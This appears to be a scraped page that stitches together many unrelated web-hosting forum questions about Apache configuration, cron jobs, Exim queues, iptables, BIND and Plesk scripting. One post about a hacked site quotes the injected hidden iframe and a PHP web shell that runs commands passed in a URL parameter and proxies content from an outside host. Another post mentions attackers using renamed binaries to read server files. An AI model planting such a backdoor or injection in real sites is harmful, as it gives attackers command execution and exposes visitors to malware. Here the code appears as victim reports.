Apache :: Auto-index Like Commands?
Feb 28, 2014I get many GET requests that have auto-index like sort commands attached.
View 6 RepliesI get many GET requests that have auto-index like sort commands attached.
View 6 RepliesI've been trying to set up a "console host" in addition to my main "site front" so that I can easily manage MySQL without needing the use of the Workbench (i.e. phpmyadmin). But even when I add the "mod_authz_host" module file to my configuration and correctly referencing it with LoadModule, it says:
Quote:
Invalid command 'Order', perhaps misspelled or defined by a module not included in the server configuration
This is what is in my configuration file as of now:
Code:
AddDefaultCharset utf-8
ErrorLog data/http.log
Listen 80
PidFile data/http.log
ServerSignature Off
ServerTokens Prod
[Code] ....
I have tried using this as an alternative, but it caused my PHP interpreter to malfunction:
Quote:
Require ip 127.0.0.1
Prior to me try to implement these host control directives, my Apache setup has had no errors whatsoever.
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
how to display the time and date of a file that was added to an Apache file directory on a cPanel server?
It used display the time and date back in the 1.3 and 2.0 days, but it doesn't on the 2.2 versions of Apache.
Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.
View 1 Replies View RelatedI was using Apache's <Directory> directive to modify the way the default indexes look.
I recently moved from openSUSE to Windows Server 2003 and copied over the Directory code but it no longer works.
Code:
<Directory />
Options All
AllowOverride All
IndexOptions SuppressHTMLPreamble SuppressDescription FancyIndexing VersionSort FoldersFirst IgnoreCase IconsAreLinks NameWidth=60
HeaderName /!_images/html/header.shtml
ReadmeName /!_images/html/footer.shtml
AddIcon /!_images/icons/application.png .exe
AddIcon /!_images/icons/application_xp_terminal.png .sh
AddIcon /!_images/icons/book_open.png .pdf
AddIcon /!_images/icons/music.png .mp3 .ogg
AddIcon /!_images/icons/photo.png .jpg .jpeg .png .bmp .gif
AddIcon /!_images/icons/television.png .avi .wmv .xvid .divx .mpg .mpeg
AddIcon /!_images/icons/script_code_red.png .php .php4 .php5 .js
AddIcon /!_images/icons/ruby.png .ruby .rb
AddIcon /!_images/icons/folder.png ^^DIRECTORY^^
DefaultIcon /!_images/icons/page_white.png
IndexIgnore query.txt !_images !_Jason !_media2 lost+found Modules _images login torrentflux phpinfo.php Thumbs.db tmp.txt phpmyadmin sandbox test.txt test.php _index.php robots.txt System Volume Information RECYCLER
</Directory>
It doesn't load the headerfile or the readme file (they exist) and it uses the Default Icon for all files
My issue is with my code I have it rewwrites my addon domains to the main domain. I have a addon domain exclusion line. But each time I add a domain I have to go in and edit the htaccess. I foresee lots of addon domains in my future.
View 2 Replies View RelatedI am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.
The problem is that their old index.htm page has a pagerank of 4 which we want to keep.
And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.
The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.
My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?
JavaScript, I have heard is completely out the question
i have apache 2 and centos with plesk . when i see my apache error log it shows me :
[Fri Dec 19 05:56:35 2008] [error] [client ::1] Directory index forbidden by Options directive: /var/
www/html/
is there a way to automate apache restart when my server's load reached 5+ sever load?
View 8 Replies View RelatedApache service auto restart many times ( every minute ).
View 10 Replies View Relatedive got a fairly beefy server but at the moment its hosting alot of resource intensive sites (unfortunatly i dont currently have a choice on where to run them all) and apache is crashing to the point its taking upto 2 mins to load pages within about 24hours but once restarted is fine again. so im wondering if anyone can suggest a way to automaticly restart apache via a cron job every 24hours or so?
View 6 Replies View RelatedI have root ssh access to a server and we notice when doing a bash ./mysq-backup script to dump the data from the web site's databases into .sql and .tgz them that httpd goes down sometimes. That, and sometimes it seems that httpd goes down in other situations. All fine, we will figure out why. But ..
It would be nice to run a crontab to check every 15 minutes if httpd is running, if not, to restart it.
Right now I when I notice the site is down I log into the ssh as root and type: service httpd restart. If it is up it will then first stop it, and restart it. I can look at the screen and see it happen, so I feel pretty safe doing this. One of my concerns is that when I am not at the screen and it stays down .. I do not notice this and downtime increases. And we don't want to just crontab service httpd restart, so a bash script to check for the pid and restart if it down .. would be nice.
I thought this would work:
(chmod 755 httpdcheck)
Code:
delta:~ root# cat httpdcheck
#!/bin/bash
if [ ! "$(pidof httpd)" ]
then
echo "Could not find pid of httpd - restarting"
service httpd restart
else
echo "Found pid of httpd - NO need to restart"
fi
delta:~ root#
And I have this crontab entry:
Code:
delta:~ root# crontab -l
*/5 * * * * /root/httpdcheck | mail my@email
delta:~ root#
When testing, I did service httpd stop and waited 5 minutes and I received the email : could not find it, restarting. But when I go to the web site in browser it remains down. I have to login to ssh and do service httpd start manually to really load it.
Manually loading btw .. shows it works as bash script just fine, so I dont't know why it won't work when run from cron?
Code:
delta:~ root# ./httpdcheck
Could not find pid of httpd - restarting
Stopping httpd: [FAILED]
Starting httpd: [ OK ]
delta:~ root#
So .. when is it going wrong? Am I forgetting something?
I recompiled apache and php due to some problems. Now apache and php is running and I have a VB forum running fine. However, one folder has a PHP page named index.php when I type its URL I get it downloaded and it is not executed directly from the server.
when I add "?" to the end of the URL[url]" it runs with no problems!
Is it something wrong with httpd.conf or what?
I have an address that receives hundreds and hundreds of e-mails a day. It's an address people aren't supposed to use (basically noreply@mydomain.com), but people do. I'd like to stop being the guy that gets these and routes them as appropriate, but we can't just turn it off and cause a hard bounce, because that will bewilder too many people who don't get that replying to noreply@mydomain.com is a bad idea. (Our website sends out notifications to people. A lot of people reply for various strange reasons, and we also get a lot of autoresponders sending us junk.)
I'm a Linux admin, so I'm a bit out of my league -- this needs to be configured on our Exchange box.
What I'd really like is an auto-responder for this address that will tell people that they e-mailed a mailbox that no one uses, and give them directions on how to contact a real person if need be.
However, fully half of the e-mails we receive are people's auto-responders. Is an Exchange auto-responder going to reply to their auto-responder? This will completely bewilder people.
And if this will auto-respond to auto-responders, is there a cleaner solution here? Again, it's got to be Exchange, but I'm a Postfix guy, so I have very little experience here.
I am running a CPanel VPS and wanted to see whats the actual ram stats. (My package have 512 MB ram)
The issue is, using two different methods, I am getting two different values.
Via SSH, free -m gives this
total used free shared buffers cached
Mem: 512 204 307 0 0 0
-/+ buffers/cache: 204 307
Swap: 0 0 0
and while running a script that I have found Here in WHT
Code:
#!/bin/bash
#
# Revised 02-Feb-2007: include kernel memory (kmemsize) in 'used' calculation
# and show percentages in output.
#
BEAN=`cat /proc/user_beancounters`
GUAR=`echo "$BEAN" | grep vmguar | awk '{ print $4;}'`
PRIV=`echo "$BEAN" | grep privvm | awk '{ print $2;}'`
KMEM=`echo "$BEAN" | grep kmem | awk '{ print $3;}'`
let TOTL=$GUAR/256
let KMMB=$KMEM/1048576
let PVMB=$PRIV/256
let USED=$KMMB+$PVMB
let FREE=$TOTL-$USED
if [ "$FREE" -gt "0" ]; then
let UPER=$USED*100/$TOTL
let FPER=100-$UPER
else
let UPER="100"
let FPER="0"
fi
echo "VPS Memory:"
echo " Total: $TOTL mb Used: $USED mb (${UPER}%) Free: $FREE mb (${FPER}%)"
It gives
Total: 512 mb Used: 482 mb (94%) Free: 30 mb (6%)
Why such huge difference??
Also "top" command shows
top - 02:44:04 up 1 day, 9:55, 2 users, load average: 1.35, 1.04, 0.94
Is that good for a a VPS with 512 RAM? (The site has extremely high traffic)
I've been reading through tutorials for setting up cron commands via cPanel, but everything I have tried does not work. What I need to do is simple - I just want to run a php file on my server once every 15 minutes.
View 1 Replies View Relatedcommands for cron job, i need to backup only 2 account backup in cron job one username is panther that a/c is in paretition "home" another a/c name logictec itz in partion "home2" for this two a/c only i need make cron job but there are in seprate partion can u help me in give the comman which can make backup in cronjob every one day
View 4 Replies View RelatedI am not familiar with shell scripting, so I'm asking for your help. I want to do
I need to batch convert all my videos so i used the command for particular folder media/ipod so i used
find /media/ipod -type f -exec mencoder {} -of mpeg -oac lavc -lavcopts acodec=mp2:abitrate=192 -af resample=44100:0:0 -ovc lavc -lavcopts vcodec=mpeg2video:vbitrate=50 -vf scale,harddup -ofps 25 -zoom -xy 176 -o {}.mpg ;
now i need to convert all my avi videos to 3gp for folder via batch convert.please help for this commands
does anyone know how i would find out what version of apache server i have? i have root access.
View 5 Replies View RelatedQuick IPTables Commands
List: iptables -L -n | grep <IP Address>
Remove: iptables -D INPUT -s <IP 1> -d <IP 2> -j DROP
Insert: iptables -I INPUT -s <IP> -j DROP
Flush: iptables -F
Remove: iptables -D OUTPUT -s 0.0.0.0/0 -d 66.93.33.185 -j DROP
netstat -nap | grep :80 | wc –l (shows # of connections to HTTP)
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort –n (shows total connections per IP, if more than 100 block)
It may be useful to someone, sometimes the queded mail list gets gigantic because of some spammer and other emails that aren't spam could get deleted when using cPanel to control it.
The better solution would obviously be to prevent spammers of sending all those mails, if you know a better solution on cPanel 11 please share it with me.
==== REMOVE MAILS BY ID ====
/usr/sbin/exim -v -Mrm (MAIL ID HERE)
==== LIST QUEDED MAILS ====
/usr/sbin/exim -bp
==== OUTPUT NUMBER OF QUEDED MAILS ====
/usr/sbin/exim -bpc
==== DELETE FROZEN MAILS ====
/usr/sbin/exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim -Mrm
==== DELIVER FORCEFULLY EMAILS ====
/usr/sbin/exim -qff -v -C /etc/exim.conf &
==== FREEZE MAILS FROM SENDER ====
/usr/sbin/exiqgrep -i -f (MAIL ADDRESS HERE) | xargs exim -Mf
==== REMOVE MAILS FROM SENDER ====
/usr/sbin/exiqgrep -i -f (MAIL ADDRESS HERE) | xargs exim -Mrm
I asked around and found [url] and win-bash.exe on source forge.
View 1 Replies View Relatedim trying to write a script interfacing to WHM again via remote access key. What I want to achieve is to remove an ip from iptables. using PHP script (CURL), any thoughts on how i can remove an ip from iptables? I know the ssh command how to do it but i dont know if it will work via a PHP (CURL) script connecting to WHM via remote access key.
View 1 Replies View RelatedThis is following on from:
[url]
So I need to execute a list of commands via a cron job rather than having the script 'wait' for the shell to finish processing (as this was leading to time outs and all sorts of issues).
I'm guessing the way to do this is to have my php set up a cron job to occur at some point in the near future (like current time + 1 min), then to prevent the job from repeating the next hour, it removes itself from the cron list as the final command.
Does this sound like a reasonable way to go about executing a queue of shell commands from the browser that take an indefinite (possibly long) amount of time?
I've been concerned about executing commands through (./) using php and perl shells on the server
a new way of hacking these days is using perl shells , even if the perl was terminated on the server ,, or was forbidden for users
hackers upload a (perl) program to the server to use it instead of the server's own perl
any way ,,
chmoding the (ls-cat-more-less) to 4750 seems to give permission denied when exeuting these programs on the server
but the hackers also found that they could upload their own ls-cat-more-less programs and use them instead of the server's
they also could rename them ls==>ki or anything and use them like this
./ki /etc/valiases -alXrt
and the commands work like charm for them
./ <<--- this command uses the sh program on the server ,, ((sh which refers to bash on most servers))
so
./ki
is the same as
sh ki
and
bash ki
so i tried chmoding sh with 4750 and that killed the exploit
i was concerned about cpanel's and the website's functionality
so i tried changing an accounts password and creating a database ,, they both worked fine
so ,, if u thing chmoding 4750 sh is a bad idea please let me know
and if you know any other ways of disabling all the perl scripts on the server
if after doing the following and transferring my domains to the server, they will functions properly as far as BIND setup is concerned. This will also serve as installation instructions for others if you can verify that this is all good.
I have installed BIND9 and setup DNS with the following:
------------------------------------------------------------------------
yum install bind-chroot
chmod 755 /var/named/
chmod 775 /var/named/chroot/
chmod 775 /var/named/chroot/var/
chmod 775 /var/named/chroot/var/named/
chmod 775 /var/named/chroot/var/run/
chmod 777 /var/named/chroot/var/run/named/
chown -R named /var/named/chroot/etc
chown -R named /var/named/chroot/var
cd /var/named/chroot/var/named/
ln -s ../../ chroot
cp /usr/share/doc/bind-9.3.3/sample/var/named/named.local /var/named/chroot/var/named/named.local
cp /usr/share/doc/bind-9.3.3/sample/var/named/named.root /var/named/chroot/var/named/named.root
touch /var/named/chroot/etc/named.conf
chkconfig --levels 235 named on
named.conf now contains:
Code:
options {
pid-file "/var/named/chroot/var/run/named/named.pid";
directory "/var/named/chroot/var/named";
query-source address * port 53;
allow-query { any; };
recursion no;
};
zone "server.mydomain.com" { type master; file "server.mydomain.com.db"; };
zone "mydomain.com" { type master; file "mydomain.com.db"; };
zone "mydomain.net" { type master; file "mydomain.net.db"; };
Upload named.conf to /var/named/chroot/etc
Modify /etc/resolv.conf to have the following before its current data:
search mydomain.com
nameserver 127.0.0.1
nameserver 78.129.143.155 // Replace this with the server's IP
// So below these there should be one or more nameserver $ip that point to the ISP's name servers so that the server can download stuff.
Modify /etc/host.conf to become the following:
order hosts,bind
multi on
nospoof on
Modify the files mydomain.com.db and mydomain.net.db and server.mydomain.com.db
to have the correct IP address. (These are DNS zone files that I'm sure are correct so I don't need you to confirm those.)
* Upload them to /var/named/chroot/var/named
/etc/init.d/named start
I'm trying to write some scripts that automate the installation of a website with a content management system. This includes creating domains, installing databases etc via plesk API.
Now we have it creating the domains and databases via plesk, this is not the issue. It's permission problems issuing commands on the server.
I need to have the script install the cms and this requires writing files to a folder on the server owned by a user which is created with the domain.
e.g.
user creates timsdomain.com with ftp user name tim
Plesk makes directory on webserver called ~/vhosts/timsdomain.com/
inside this directory is a folder called httpdocs.
All the files within this folder are owned by tim.
Now my script (running as 'apache' in a folder owned by 'admin') needs to write/edit files to this directory as the user tim (or whatever user was created when the domain was set up).
How can I do this from a php script?
My idea would be to log in as the new user and then start issuing commands but I don't know how to login a user from a script.
I've tried exec, exec_shell etc
trying to log in via script as the new user using sudo/su/suid etc but they all ask for a password (for obvious reasons) but I cannot see a way to send the password to the command with the script. Ssh?
I don't know. Help
Here's some pseudocode that demonstrates what I'm trying to do, if you can think of a better way I'm all ears.
Code:
//User Fills in CMS/Domain information which becomes Form_Data
//uses plesk to create blank domain, create email addresses and empty database
Make_Domain(Form_Data) {
Plesk = Get_Plesk_Object();
Plesk.Create_Domain();
Plesk.Create_Database();
Build_CMS(Form_Data);
}
//HERE IS WHERE I AM HAVING TROUBLE: I can't figure out how to change the user so I can install files to a
// different directory other than the current user's directory (admin)
Build_CMS(Form_Data) {
change_to_user(Form_Data.ftp_username, FormData.ftp_password);
unpack_CMS_archive_into(user_directory); //eg unpack cms.tar into 'timsdomain.com' (if the above command didn't switch the current directory to users home directory)
//initialises CMS config files and installs CMS data to database
Run_Install_Scripts_On_Server(Form_Data);
//albeit complex, most important part of script
Confirm_Tim_Is_Awesome();
}
Confirm_Tim_Is_Awesome() {
while (getTim().has_moustache()) {
echo "<em>You're still awesome. </em>";
}
}
if it is possible to set sequential commands on a cron job?
Meaning, there is more than one shell commands following the first one.
I am just trying out MySQL on the external Apache server. I must have written down the wrong password. My commands to enter mysql with a password results in denied access.
What file do I undo in order to create a new password? I don't know the exact steps I'm supposed to take. I don't think this is a MySQL issue, but a server issue, right?
I used to create databases and tables on my regular computer and left off the password altogether while I was practicing. Now I'm taking steps to do it on the actual server, and have run across this problem.